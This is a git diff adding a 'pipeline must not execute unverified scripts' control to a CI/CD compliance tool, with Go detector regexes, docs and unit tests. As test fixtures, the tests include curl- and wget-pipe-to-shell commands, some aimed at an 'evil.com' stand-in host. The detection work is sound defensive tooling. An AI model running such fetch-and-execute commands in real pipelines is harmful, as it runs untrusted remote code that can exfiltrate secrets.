diff --git a/.plumber.yaml b/.plumber.yaml index 2018c2e..e73c117 100644 --- a/.plumber.yaml +++ b/.plumber.yaml @@ -392,4 +392,27 @@ controls: # semgrep-sast: # when: manual whenMustNotBeManual: - enabled: true \ No newline at end of file + enabled: true + + # ── Pipeline must not execute unverified scripts ───────────────── + # + # Detects jobs that download and immediately execute scripts from the + # internet without integrity verification (e.g., curl | bash, wget | sh). + # + # This is a well-documented supply chain attack vector: an attacker who + # compromises the remote URL can serve a modified script that exfiltrates + # CI/CD secrets ($CI_JOB_TOKEN, deploy keys, custom variables). + # + # Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8 + # (Ungoverned Usage of 3rd Party Services). + # + # Best practice: download scripts to a file, verify a checksum against a + # known-good value, then execute. Or vendor the script into your repo. + pipelineMustNotExecuteUnverifiedScripts: + # Set to false to disable this control + enabled: true + + # URLs that are trusted and should not trigger findings. + # Supports wildcards (e.g., https://internal-artifacts.example.com/*). + trustedUrls: [] + # - https://internal-artifacts.example.com/* \ No newline at end of file diff --git a/README.md b/README.md index 335f373..c9fb529 100644 --- a/README.md +++ b/README.md @@ -286,7 +286,7 @@ This creates `.plumber.yaml` with sensible [defaults](./.plumber.yaml). Customiz ### Available Controls -Plumber includes 11 compliance controls. Each can be enabled/disabled and customized in [.plumber.yaml](.plumber.yaml): +Plumber includes 12 compliance controls. Each can be enabled/disabled and customized in [.plumber.yaml](.plumber.yaml):
1. Container images must not use forbidden tags @@ -596,6 +596,31 @@ securityJobsMustNotBeWeakened:
+
+12. Pipeline must not execute unverified scripts + +Detects CI/CD jobs that download and immediately execute scripts from the internet without integrity verification. Patterns like `curl | bash` or `wget | sh` are a well-documented supply chain attack vector: an attacker who compromises the remote URL can serve a modified script that exfiltrates secrets. + +**Detected patterns:** +- Direct pipe to shell: `curl ... | bash`, `wget ... | sh`, `curl ... | python`, etc. +- Download-and-execute: `curl -o script.sh ... && bash script.sh` +- Download-redirect-execute: `curl ... > install.sh; sh install.sh` + +Lines that include checksum verification (e.g., `sha256sum`, `gpg --verify`) between the download and execution are automatically excluded. + +**Configuration:** + +```yaml +pipelineMustNotExecuteUnverifiedScripts: + enabled: true + trustedUrls: [] + # - https://internal-artifacts.example.com/* +``` + +Add trusted URL patterns to `trustedUrls` (supports wildcards) to suppress findings for known-good sources. + +
+ ### Selective Control Execution You can run or skip specific controls using their YAML key names from `.plumber.yaml`. This is useful for iterative debugging or targeted CI checks. @@ -638,6 +663,7 @@ Controls not selected are reported as **skipped** in the output. The `--controls | `pipelineMustIncludeComponent` | | `pipelineMustIncludeTemplate` | | `pipelineMustNotEnableDebugTrace` | +| `pipelineMustNotExecuteUnverifiedScripts` | | `pipelineMustNotIncludeHardcodedJobs` | | `pipelineMustNotUseUnsafeVariableExpansion` | | `securityJobsMustNotBeWeakened` | @@ -778,10 +804,10 @@ brew install plumber To install a specific version: ```bash -brew install getplumber/plumber/plumber@0.1.67 +brew install getplumber/plumber/plumber@0.1.69 ``` -> **Note:** Versioned formulas are keg-only. Use the full path for example `/usr/local/opt/plumber@0.1.67/bin/plumber` or run `brew link plumber@0.1.67` to add it to your PATH. +> **Note:** Versioned formulas are keg-only. Use the full path for example `/usr/local/opt/plumber@0.1.69/bin/plumber` or run `brew link plumber@0.1.69` to add it to your PATH. ### Mise diff --git a/cmd/analyze.go b/cmd/analyze.go index 2cbe976..0c9d029 100644 --- a/cmd/analyze.go +++ b/cmd/analyze.go @@ -309,6 +309,11 @@ func runAnalyze(cmd *cobra.Command, args []string) error { controlCount++ } + if result.UnverifiedScriptsResult != nil && !result.UnverifiedScriptsResult.Skipped { + complianceSum += result.UnverifiedScriptsResult.Compliance + controlCount++ + } + // Calculate average compliance // If no controls ran (e.g., data collection failed), compliance is 0% - we can't verify anything var compliance float64 = 0 @@ -1075,6 +1080,41 @@ func outputText(result *control.AnalysisResult, threshold, compliance float64, c fmt.Println() } + // Control 12: Pipeline must not execute unverified scripts + if result.UnverifiedScriptsResult != nil { + ctrl := controlSummary{ + name: "Pipeline must not execute unverified scripts", + compliance: result.UnverifiedScriptsResult.Compliance, + issues: len(result.UnverifiedScriptsResult.Issues), + skipped: result.UnverifiedScriptsResult.Skipped, + codes: []string{string(control.CodeUnverifiedScriptExecution)}, + } + controls = append(controls, ctrl) + + printControlHeader("Pipeline must not execute unverified scripts", result.UnverifiedScriptsResult.Compliance, result.UnverifiedScriptsResult.Skipped) + + if result.UnverifiedScriptsResult.Skipped { + fmt.Printf(" %sStatus: SKIPPED (disabled in configuration)%s\n", colorDim, colorReset) + } else { + fmt.Printf(" Jobs Checked: %d\n", result.UnverifiedScriptsResult.Metrics.JobsChecked) + fmt.Printf(" Script Lines Checked: %d\n", result.UnverifiedScriptsResult.Metrics.TotalScriptLinesChecked) + fmt.Printf(" Unverified Scripts: %d\n", result.UnverifiedScriptsResult.Metrics.UnverifiedScriptsFound) + + if len(result.UnverifiedScriptsResult.Issues) > 0 { + fmt.Printf("\n %sUnverified Script Executions Found:%s\n", colorYellow, colorReset) + for _, issue := range result.UnverifiedScriptsResult.Issues { + if issue.JobName == "(global)" { + fmt.Printf(" %s•%s [%s] Global %s: %s\n", colorYellow, colorReset, issue.Code, issue.ScriptBlock, issue.ScriptLine) + } else { + fmt.Printf(" %s•%s [%s] Job '%s' %s: %s\n", colorYellow, colorReset, issue.Code, issue.JobName, issue.ScriptBlock, issue.ScriptLine) + } + fmt.Printf(" %s↳ docs: %s%s\n", colorDim, issue.DocURL, colorReset) + } + } + } + fmt.Println() + } + // Summary Section printSectionHeader("Summary") fmt.Println() diff --git a/configuration/plumberconfig.go b/configuration/plumberconfig.go index c4343e0..44754e6 100644 --- a/configuration/plumberconfig.go +++ b/configuration/plumberconfig.go @@ -48,6 +48,9 @@ var validControlSchema = map[string][]string{ "enabled", "securityJobPatterns", "allowFailureMustBeFalse", "rulesMustNotBeRedefined", "whenMustNotBeManual", }, + "pipelineMustNotExecuteUnverifiedScripts": { + "enabled", "trustedUrls", + }, } // validControlKeys returns the list of known control names. @@ -122,6 +125,9 @@ type ControlsConfig struct { // SecurityJobsMustNotBeWeakened control configuration SecurityJobsMustNotBeWeakened *SecurityJobsWeakenedControlConfig `yaml:"securityJobsMustNotBeWeakened,omitempty"` + + // PipelineMustNotExecuteUnverifiedScripts control configuration + PipelineMustNotExecuteUnverifiedScripts *UnverifiedScriptsControlConfig `yaml:"pipelineMustNotExecuteUnverifiedScripts,omitempty"` } // ImageForbiddenTagsControlConfig configuration for the forbidden image tags control @@ -304,6 +310,16 @@ func (t *SecurityJobsSubControlToggle) IsEnabled(defaultVal bool) bool { return *t.Enabled } +// UnverifiedScriptsControlConfig configuration for the unverified script execution control +type UnverifiedScriptsControlConfig struct { + // Enabled controls whether this check runs + Enabled *bool `yaml:"enabled,omitempty"` + + // TrustedUrls is a list of URL patterns that should not trigger findings. + // Supports wildcards (e.g., "https://internal-artifacts.example.com/*"). + TrustedUrls []string `yaml:"trustedUrls,omitempty"` +} + // RequiredTemplatesControlConfig configuration for the required templates control type RequiredTemplatesControlConfig struct { // Enabled controls whether this check runs @@ -604,6 +620,24 @@ func (c *SecurityJobsWeakenedControlConfig) IsEnabled() bool { return *c.Enabled } +// GetPipelineMustNotExecuteUnverifiedScriptsConfig returns the control configuration +// Returns nil if not configured +func (c *PlumberConfig) GetPipelineMustNotExecuteUnverifiedScriptsConfig() *UnverifiedScriptsControlConfig { + if c == nil { + return nil + } + return c.Controls.PipelineMustNotExecuteUnverifiedScripts +} + +// IsEnabled returns whether the control is enabled +// Returns false if not properly configured +func (c *UnverifiedScriptsControlConfig) IsEnabled() bool { + if c == nil || c.Enabled == nil { + return false + } + return *c.Enabled +} + // IsEnabled returns whether the control is enabled // Returns false if not properly configured func (c *RequiredTemplatesControlConfig) IsEnabled() bool { diff --git a/configuration/plumberconfig_test.go b/configuration/plumberconfig_test.go index eac84f7..06fd6a8 100644 --- a/configuration/plumberconfig_test.go +++ b/configuration/plumberconfig_test.go @@ -326,6 +326,7 @@ func TestValidControlNames(t *testing.T) { "pipelineMustIncludeComponent", "pipelineMustIncludeTemplate", "pipelineMustNotEnableDebugTrace", + "pipelineMustNotExecuteUnverifiedScripts", "pipelineMustNotIncludeHardcodedJobs", "pipelineMustNotUseUnsafeVariableExpansion", "securityJobsMustNotBeWeakened", diff --git a/control/codes.go b/control/codes.go index 921ddd5..a3df417 100644 --- a/control/codes.go +++ b/control/codes.go @@ -43,6 +43,8 @@ const ( CodeComponentOverridden ErrorCode = "ISSUE-409" // ISSUE-410: Security job is weakened (allow_failure, rules override, when: manual) CodeSecurityJobWeakened ErrorCode = "ISSUE-410" + // ISSUE-411: Pipeline downloads and executes a script without integrity verification (curl|bash, wget|sh) + CodeUnverifiedScriptExecution ErrorCode = "ISSUE-411" ) // Issue codes for access and authorization controls (5xx) @@ -180,6 +182,14 @@ var errorCodeRegistry = map[ErrorCode]ErrorCodeInfo{ DocURL: docsBaseURL + string(CodeSecurityJobWeakened), ControlName: "securityJobsMustNotBeWeakened", }, + CodeUnverifiedScriptExecution: { + Code: CodeUnverifiedScriptExecution, + Title: "Unverified script execution", + Description: "A CI/CD job downloads and immediately executes a script from the internet (e.g., curl | bash, wget | sh) without verifying its integrity. An attacker who compromises the remote URL can serve a modified script that exfiltrates secrets.", + Remediation: "Download the script to a file first, verify its checksum against a known-good value, then execute it. Alternatively, vendor the script into your repository or use a trusted package manager.", + DocURL: docsBaseURL + string(CodeUnverifiedScriptExecution), + ControlName: "pipelineMustNotExecuteUnverifiedScripts", + }, // Access and authorization controls (5xx) CodeBranchUnprotected: { diff --git a/control/controlGitlabPipelineUnverifiedScripts.go b/control/controlGitlabPipelineUnverifiedScripts.go new file mode 100644 index 0000000..993269c --- /dev/null +++ b/control/controlGitlabPipelineUnverifiedScripts.go @@ -0,0 +1,284 @@ +package control + +import ( + "fmt" + "regexp" + "strings" + + "github.com/getplumber/plumber/collector" + "github.com/getplumber/plumber/configuration" + "github.com/getplumber/plumber/gitlab" + "github.com/sirupsen/logrus" +) + +const ControlTypeGitlabPipelineUnverifiedScriptsVersion = "0.1.0" + +////////////////// +// Control conf // +////////////////// + +// GitlabPipelineUnverifiedScriptsConf holds the configuration for unverified script execution detection +type GitlabPipelineUnverifiedScriptsConf struct { + Enabled bool `json:"enabled"` + TrustedUrls []string `json:"trustedUrls"` +} + +// GetConf loads configuration from PlumberConfig +func (p *GitlabPipelineUnverifiedScriptsConf) GetConf(plumberConfig *configuration.PlumberConfig) error { + if plumberConfig == nil { + p.Enabled = false + return nil + } + + cfg := plumberConfig.GetPipelineMustNotExecuteUnverifiedScriptsConfig() + if cfg == nil { + l.Debug("pipelineMustNotExecuteUnverifiedScripts control configuration is missing from .plumber.yaml file, skipping") + p.Enabled = false + return nil + } + + if cfg.Enabled == nil { + return fmt.Errorf("pipelineMustNotExecuteUnverifiedScripts.enabled field is required in .plumber.yaml config file") + } + + p.Enabled = cfg.IsEnabled() + p.TrustedUrls = cfg.TrustedUrls + + l.WithFields(logrus.Fields{ + "enabled": p.Enabled, + "trustedUrls": len(p.TrustedUrls), + }).Debug("pipelineMustNotExecuteUnverifiedScripts control configuration loaded from .plumber.yaml file") + + return nil +} + +//////////////////////////// +// Control data & metrics // +//////////////////////////// + +// GitlabPipelineUnverifiedScriptsMetrics holds metrics about unverified script detection +type GitlabPipelineUnverifiedScriptsMetrics struct { + JobsChecked uint `json:"jobsChecked"` + TotalScriptLinesChecked uint `json:"totalScriptLinesChecked"` + UnverifiedScriptsFound uint `json:"unverifiedScriptsFound"` +} + +// GitlabPipelineUnverifiedScriptsResult holds the result of the control +type GitlabPipelineUnverifiedScriptsResult struct { + Issues []GitlabPipelineUnverifiedScriptsIssue `json:"issues"` + Metrics GitlabPipelineUnverifiedScriptsMetrics `json:"metrics"` + Compliance float64 `json:"compliance"` + Version string `json:"version"` + CiValid bool `json:"ciValid"` + CiMissing bool `json:"ciMissing"` + Skipped bool `json:"skipped"` + Error string `json:"error,omitempty"` +} + +//////////////////// +// Control issues // +//////////////////// + +// GitlabPipelineUnverifiedScriptsIssue represents an unverified script execution found in a CI job +type GitlabPipelineUnverifiedScriptsIssue struct { + Code ErrorCode `json:"code"` + DocURL string `json:"docUrl"` + JobName string `json:"jobName"` + ScriptLine string `json:"scriptLine"` + ScriptBlock string `json:"scriptBlock"` + PatternType string `json:"patternType"` +} + +/////////////////////// +// Control functions // +/////////////////////// + +// Compiled regexes for detecting unverified script execution patterns. + +// pipeToShell: curl ... | bash, wget ... | sh, etc. (with optional sudo) +var pipeToShellRe = regexp.MustCompile( + `(?i)(curl|wget)\s+[^|]*\|\s*(sudo\s+)?(bash|sh|zsh|python[23]?|perl|ruby)\b`, +) + +// downloadAndExec: curl -o file && bash file, wget -O file && sh file +var downloadAndExecRe = regexp.MustCompile( + `(?i)(curl|wget)\s+.*(-o|-O)\s+(\S+).*&&\s*(sudo\s+)?(bash|sh|source|\.)\s+`, +) + +// downloadRedirectExec: curl ... > file.sh; sh file.sh +var downloadRedirectExecRe = regexp.MustCompile( + `(?i)(curl|wget)\s+.*>\s*(\S+\.sh)\s*[;&]+\s*(sudo\s+)?(bash|sh|source|\.)\s+`, +) + +// checksumVerificationRe matches lines that include a checksum or signature +// verification step between the download and execution. These lines show that +// the user is verifying integrity before running the script. +var checksumVerificationRe = regexp.MustCompile( + `(?i)(sha256sum|sha512sum|sha1sum|md5sum|shasum|gpg\s+--verify|gpg2\s+--verify|cosign\s+verify)`, +) + +var unverifiedScriptPatterns = []struct { + re *regexp.Regexp + patternType string +}{ + {pipeToShellRe, "pipe-to-shell"}, + {downloadAndExecRe, "download-and-execute"}, + {downloadRedirectExecRe, "download-redirect-execute"}, +} + +// Run executes the unverified script execution detection control +func (p *GitlabPipelineUnverifiedScriptsConf) Run(pipelineOriginData *collector.GitlabPipelineOriginData) *GitlabPipelineUnverifiedScriptsResult { + l := l.WithFields(logrus.Fields{ + "control": "GitlabPipelineUnverifiedScripts", + "controlVersion": ControlTypeGitlabPipelineUnverifiedScriptsVersion, + }) + l.Info("Start unverified script execution detection control") + + result := &GitlabPipelineUnverifiedScriptsResult{ + Issues: []GitlabPipelineUnverifiedScriptsIssue{}, + Metrics: GitlabPipelineUnverifiedScriptsMetrics{}, + Compliance: 100.0, + Version: ControlTypeGitlabPipelineUnverifiedScriptsVersion, + CiValid: pipelineOriginData.CiValid, + CiMissing: pipelineOriginData.CiMissing, + Skipped: false, + } + + if !p.Enabled { + l.Info("Unverified script execution detection control is disabled, skipping") + result.Skipped = true + return result + } + + mergedConf := pipelineOriginData.MergedConf + if mergedConf == nil { + l.Warn("Merged CI configuration not available, cannot check scripts") + result.Compliance = 0 + result.Error = "merged CI configuration not available" + return result + } + + // Compile trusted URL patterns into regexes for matching + trustedPatterns := compileTrustedURLPatterns(p.TrustedUrls) + + // Check global before_script and after_script + p.scanForUnverifiedScripts(mergedConf.BeforeScript, "(global)", "before_script", trustedPatterns, result) + p.scanForUnverifiedScripts(mergedConf.AfterScript, "(global)", "after_script", trustedPatterns, result) + + // Check per-job scripts + for jobName, jobContent := range mergedConf.GitlabJobs { + job, err := gitlab.ParseGitlabCIJob(jobContent) + if err != nil { + l.WithError(err).WithField("job", jobName).Debug("Unable to parse job, skipping") + continue + } + if job == nil { + continue + } + + result.Metrics.JobsChecked++ + + p.scanForUnverifiedScripts(job.Script, jobName, "script", trustedPatterns, result) + p.scanForUnverifiedScripts(job.BeforeScript, jobName, "before_script", trustedPatterns, result) + p.scanForUnverifiedScripts(job.AfterScript, jobName, "after_script", trustedPatterns, result) + } + + if len(result.Issues) > 0 { + result.Compliance = 0.0 + } + + l.WithFields(logrus.Fields{ + "compliance": result.Compliance, + "issuesFound": len(result.Issues), + "jobsChecked": result.Metrics.JobsChecked, + "totalScriptLines": result.Metrics.TotalScriptLinesChecked, + "unverifiedScriptsFound": result.Metrics.UnverifiedScriptsFound, + }).Info("Unverified script execution detection control complete") + + return result +} + +// scanForUnverifiedScripts checks a script block for unverified script execution patterns. +func (p *GitlabPipelineUnverifiedScriptsConf) scanForUnverifiedScripts( + scriptField interface{}, + jobName string, + blockType string, + trustedPatterns []*regexp.Regexp, + result *GitlabPipelineUnverifiedScriptsResult, +) { + lines := gitlab.GetScriptLines(scriptField) + for _, line := range lines { + result.Metrics.TotalScriptLinesChecked++ + + trimmed := strings.TrimSpace(line) + if trimmed == "" || strings.HasPrefix(trimmed, "#") { + continue + } + + for _, pattern := range unverifiedScriptPatterns { + if pattern.re.MatchString(trimmed) { + if containsTrustedURL(trimmed, trustedPatterns) { + continue + } + if checksumVerificationRe.MatchString(trimmed) { + continue + } + + result.Issues = append(result.Issues, GitlabPipelineUnverifiedScriptsIssue{ + Code: CodeUnverifiedScriptExecution, + DocURL: CodeUnverifiedScriptExecution.DocURL(), + JobName: jobName, + ScriptLine: truncateScriptLine(trimmed, 200), + ScriptBlock: blockType, + PatternType: pattern.patternType, + }) + result.Metrics.UnverifiedScriptsFound++ + break + } + } + } +} + +// compileTrustedURLPatterns converts trusted URL patterns into compiled regexes. +// Each pattern is matched exactly unless it contains a wildcard (*), which +// matches any sequence of characters. Patterns are anchored so that +// "https://example.com" only matches that exact URL, not subpaths. Use +// "https://example.com/*" to match all subpaths. +func compileTrustedURLPatterns(trustedUrls []string) []*regexp.Regexp { + var patterns []*regexp.Regexp + for _, u := range trustedUrls { + u = strings.TrimSpace(u) + if u == "" { + continue + } + escaped := regexp.QuoteMeta(u) + // Convert \* (escaped wildcard) back to .* for glob-style matching + regexStr := `(?:^|[\s"'])` + strings.ReplaceAll(escaped, `\*`, `.*`) + `(?:$|[\s"'])` + re, err := regexp.Compile(regexStr) + if err != nil { + l.WithError(err).WithField("pattern", u).Warn("Invalid trusted URL pattern, skipping") + continue + } + patterns = append(patterns, re) + } + return patterns +} + +// containsTrustedURL checks whether the script line contains a URL that matches +// any of the compiled trusted URL patterns. +func containsTrustedURL(line string, trustedPatterns []*regexp.Regexp) bool { + for _, re := range trustedPatterns { + if re.MatchString(line) { + return true + } + } + return false +} + +// truncateScriptLine truncates a script line to the given max length. +func truncateScriptLine(s string, maxLen int) string { + if len(s) <= maxLen { + return s + } + return s[:maxLen-3] + "..." +} diff --git a/control/controlGitlabPipelineUnverifiedScripts_test.go b/control/controlGitlabPipelineUnverifiedScripts_test.go new file mode 100644 index 0000000..e964436 --- /dev/null +++ b/control/controlGitlabPipelineUnverifiedScripts_test.go @@ -0,0 +1,378 @@ +package control + +import ( + "testing" + + "github.com/getplumber/plumber/collector" + "github.com/getplumber/plumber/gitlab" +) + +func buildOriginDataWithScriptJobs(jobs map[string]interface{}) *collector.GitlabPipelineOriginData { + mergedConf := &gitlab.GitlabCIConf{ + GitlabJobs: jobs, + } + return &collector.GitlabPipelineOriginData{ + MergedConf: mergedConf, + CiValid: true, + CiMissing: false, + } +} + +func TestUnverifiedScripts_Disabled(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: false} + data := buildOriginDataWithScriptJobs(nil) + + result := conf.Run(data) + + if !result.Skipped { + t.Fatal("expected control to be skipped when disabled") + } + if result.Compliance != 100.0 { + t.Fatalf("expected compliance 100 when skipped, got %v", result.Compliance) + } +} + +func TestUnverifiedScripts_NilMergedConf(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + data := &collector.GitlabPipelineOriginData{ + MergedConf: nil, + CiValid: true, + CiMissing: false, + } + + result := conf.Run(data) + + if result.Compliance != 0 { + t.Fatalf("expected compliance 0 when merged conf unavailable, got %v", result.Compliance) + } + if result.Error == "" { + t.Fatal("expected error message when merged conf unavailable") + } +} + +func TestUnverifiedScripts_NoJobs(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + data := buildOriginDataWithScriptJobs(map[string]interface{}{}) + + result := conf.Run(data) + + if result.Compliance != 100.0 { + t.Fatalf("expected compliance 100 with no jobs, got %v", result.Compliance) + } + if len(result.Issues) != 0 { + t.Fatalf("expected 0 issues, got %d", len(result.Issues)) + } +} + +// -- Direct pipe-to-shell patterns -- + +func TestUnverifiedScripts_CurlPipeBash(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + tests := []struct { + name string + script string + }{ + {"curl pipe bash", "curl -fsSL https://example.com/install.sh | bash"}, + {"curl pipe sh", "curl -sSL https://evil.com/script.sh | sh"}, + {"wget pipe bash", "wget -qO- https://example.com/install.sh | bash"}, + {"wget pipe sh", "wget -O - https://example.com/setup.sh | sh"}, + {"curl pipe sudo bash", "curl -fsSL https://get.docker.com | sudo bash"}, + {"curl pipe sudo sh", "curl https://example.com/install.sh | sudo sh"}, + {"curl pipe python", "curl https://example.com/script.py | python"}, + {"curl pipe python3", "curl https://example.com/script.py | python3"}, + {"wget pipe perl", "wget -O- https://example.com/setup.pl | perl"}, + {"curl pipe ruby", "curl -fsSL https://example.com/setup.rb | ruby"}, + {"curl pipe zsh", "curl -fsSL https://example.com/install.sh | zsh"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + jobContent := map[interface{}]interface{}{ + "script": []interface{}{tt.script}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"install": jobContent}) + result := conf.Run(data) + if len(result.Issues) != 1 { + t.Fatalf("script %q should be flagged, expected 1 issue, got %d", tt.script, len(result.Issues)) + } + if result.Issues[0].PatternType != "pipe-to-shell" { + t.Fatalf("expected pattern type 'pipe-to-shell', got %q", result.Issues[0].PatternType) + } + if result.Compliance != 0.0 { + t.Fatalf("expected compliance 0, got %v", result.Compliance) + } + }) + } +} + +// -- Download-and-execute patterns -- + +func TestUnverifiedScripts_DownloadAndExecute(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + tests := []struct { + name string + script string + }{ + {"curl -o then bash", "curl -o install.sh https://example.com/install.sh && bash install.sh"}, + {"wget -O then sh", "wget -O setup.sh https://example.com/setup.sh && sh setup.sh"}, + {"curl -o then source", "curl -o config.sh https://example.com/config.sh && source config.sh"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + jobContent := map[interface{}]interface{}{ + "script": []interface{}{tt.script}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"setup": jobContent}) + result := conf.Run(data) + if len(result.Issues) != 1 { + t.Fatalf("script %q should be flagged, expected 1 issue, got %d", tt.script, len(result.Issues)) + } + if result.Issues[0].PatternType != "download-and-execute" { + t.Fatalf("expected pattern type 'download-and-execute', got %q", result.Issues[0].PatternType) + } + }) + } +} + +// -- Download-redirect-execute patterns -- + +func TestUnverifiedScripts_DownloadRedirectExecute(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + tests := []struct { + name string + script string + }{ + {"curl redirect then sh", "curl https://example.com/install > install.sh; sh install.sh"}, + {"wget redirect then bash", "wget https://example.com/setup > setup.sh; bash setup.sh"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + jobContent := map[interface{}]interface{}{ + "script": []interface{}{tt.script}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"setup": jobContent}) + result := conf.Run(data) + if len(result.Issues) != 1 { + t.Fatalf("script %q should be flagged, expected 1 issue, got %d", tt.script, len(result.Issues)) + } + if result.Issues[0].PatternType != "download-redirect-execute" { + t.Fatalf("expected pattern type 'download-redirect-execute', got %q", result.Issues[0].PatternType) + } + }) + } +} + +// -- Safe patterns that should NOT be flagged -- + +func TestUnverifiedScripts_SafePatterns(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + tests := []struct { + name string + script string + }{ + {"curl to file only", "curl -o installer.sh https://example.com/install.sh"}, + {"wget to file only", "wget https://example.com/setup.sh"}, + {"curl with checksum", "curl -o script.sh https://example.com/script.sh && sha256sum -c script.sh.sha256 && bash script.sh"}, + {"echo with pipe", "echo 'hello world' | bash -c 'cat'"}, + {"cat pipe bash", "cat local_script.sh | bash"}, + {"normal curl POST", "curl -X POST -d '{\"key\": \"value\"}' https://api.example.com"}, + {"apt-get install", "apt-get install -y curl wget"}, + {"pip install", "pip install requests"}, + {"comment line", "# curl https://example.com/install.sh | bash"}, + {"empty line", ""}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + jobContent := map[interface{}]interface{}{ + "script": []interface{}{tt.script}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"build": jobContent}) + result := conf.Run(data) + if len(result.Issues) != 0 { + t.Fatalf("script %q should be safe, but got %d issues", tt.script, len(result.Issues)) + } + if result.Compliance != 100.0 { + t.Fatalf("expected compliance 100, got %v", result.Compliance) + } + }) + } +} + +// -- Trusted URLs -- + +func TestUnverifiedScripts_TrustedUrls(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{ + Enabled: true, + TrustedUrls: []string{"https://internal.example.com/*", "https://trusted.io/install.sh"}, + } + + tests := []struct { + name string + script string + expectHit bool + }{ + {"trusted wildcard", "curl -fsSL https://internal.example.com/tools/setup.sh | bash", false}, + {"trusted exact", "curl -fsSL https://trusted.io/install.sh | bash", false}, + {"untrusted", "curl -fsSL https://evil.com/hack.sh | bash", true}, + {"exact does not match subpath", "curl -fsSL https://trusted.io/install.sh/evil | bash", true}, + {"without wildcard does not match subpath", "curl -fsSL https://trusted.io/install.sh/extra | bash", true}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + jobContent := map[interface{}]interface{}{ + "script": []interface{}{tt.script}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"setup": jobContent}) + result := conf.Run(data) + if tt.expectHit && len(result.Issues) == 0 { + t.Fatalf("script %q should be flagged but was not", tt.script) + } + if !tt.expectHit && len(result.Issues) > 0 { + t.Fatalf("script %q should be trusted but got %d issues", tt.script, len(result.Issues)) + } + }) + } +} + +// -- Global scripts -- + +func TestUnverifiedScripts_GlobalScripts(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + mergedConf := &gitlab.GitlabCIConf{ + BeforeScript: []interface{}{"curl https://example.com/setup.sh | bash"}, + AfterScript: []interface{}{"wget -qO- https://example.com/cleanup.sh | sh"}, + GitlabJobs: map[string]interface{}{}, + } + data := &collector.GitlabPipelineOriginData{ + MergedConf: mergedConf, + CiValid: true, + CiMissing: false, + } + + result := conf.Run(data) + + if len(result.Issues) != 2 { + t.Fatalf("expected 2 issues from global scripts, got %d", len(result.Issues)) + } + for _, issue := range result.Issues { + if issue.JobName != "(global)" { + t.Fatalf("expected job name '(global)', got %q", issue.JobName) + } + } +} + +// -- before_script and after_script in jobs -- + +func TestUnverifiedScripts_JobScriptBlocks(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + jobContent := map[interface{}]interface{}{ + "before_script": []interface{}{"curl https://example.com/pre.sh | bash"}, + "script": []interface{}{"echo 'safe'"}, + "after_script": []interface{}{"wget -qO- https://example.com/post.sh | sh"}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"deploy": jobContent}) + + result := conf.Run(data) + + if len(result.Issues) != 2 { + t.Fatalf("expected 2 issues, got %d", len(result.Issues)) + } + + blocks := map[string]bool{} + for _, issue := range result.Issues { + blocks[issue.ScriptBlock] = true + if issue.JobName != "deploy" { + t.Fatalf("expected job name 'deploy', got %q", issue.JobName) + } + } + if !blocks["before_script"] || !blocks["after_script"] { + t.Fatal("expected issues in both before_script and after_script") + } +} + +// -- Multiple issues in one job -- + +func TestUnverifiedScripts_MultipleIssuesPerJob(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + jobContent := map[interface{}]interface{}{ + "script": []interface{}{ + "curl https://example.com/first.sh | bash", + "echo 'safe command'", + "wget -qO- https://example.com/second.sh | sh", + }, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"multi": jobContent}) + + result := conf.Run(data) + + if len(result.Issues) != 2 { + t.Fatalf("expected 2 issues, got %d", len(result.Issues)) + } + if result.Metrics.UnverifiedScriptsFound != 2 { + t.Fatalf("expected 2 unverified scripts in metrics, got %d", result.Metrics.UnverifiedScriptsFound) + } +} + +// -- Issue code and DocURL -- + +func TestUnverifiedScripts_IssueCodeAndDocURL(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + jobContent := map[interface{}]interface{}{ + "script": []interface{}{"curl https://example.com/install.sh | bash"}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"install": jobContent}) + + result := conf.Run(data) + + if len(result.Issues) != 1 { + t.Fatalf("expected 1 issue, got %d", len(result.Issues)) + } + + issue := result.Issues[0] + if issue.Code != CodeUnverifiedScriptExecution { + t.Fatalf("expected code %s, got %s", CodeUnverifiedScriptExecution, issue.Code) + } + if issue.DocURL != CodeUnverifiedScriptExecution.DocURL() { + t.Fatalf("expected DocURL %s, got %s", CodeUnverifiedScriptExecution.DocURL(), issue.DocURL) + } +} + +// -- Case insensitivity -- + +func TestUnverifiedScripts_CaseInsensitive(t *testing.T) { + conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true} + + tests := []struct { + name string + script string + }{ + {"CURL pipe BASH", "CURL -fsSL https://example.com/install.sh | BASH"}, + {"Curl pipe Bash", "Curl -fsSL https://example.com/install.sh | Bash"}, + {"WGET pipe SH", "WGET -qO- https://example.com/setup.sh | SH"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + jobContent := map[interface{}]interface{}{ + "script": []interface{}{tt.script}, + } + data := buildOriginDataWithScriptJobs(map[string]interface{}{"build": jobContent}) + result := conf.Run(data) + if len(result.Issues) != 1 { + t.Fatalf("script 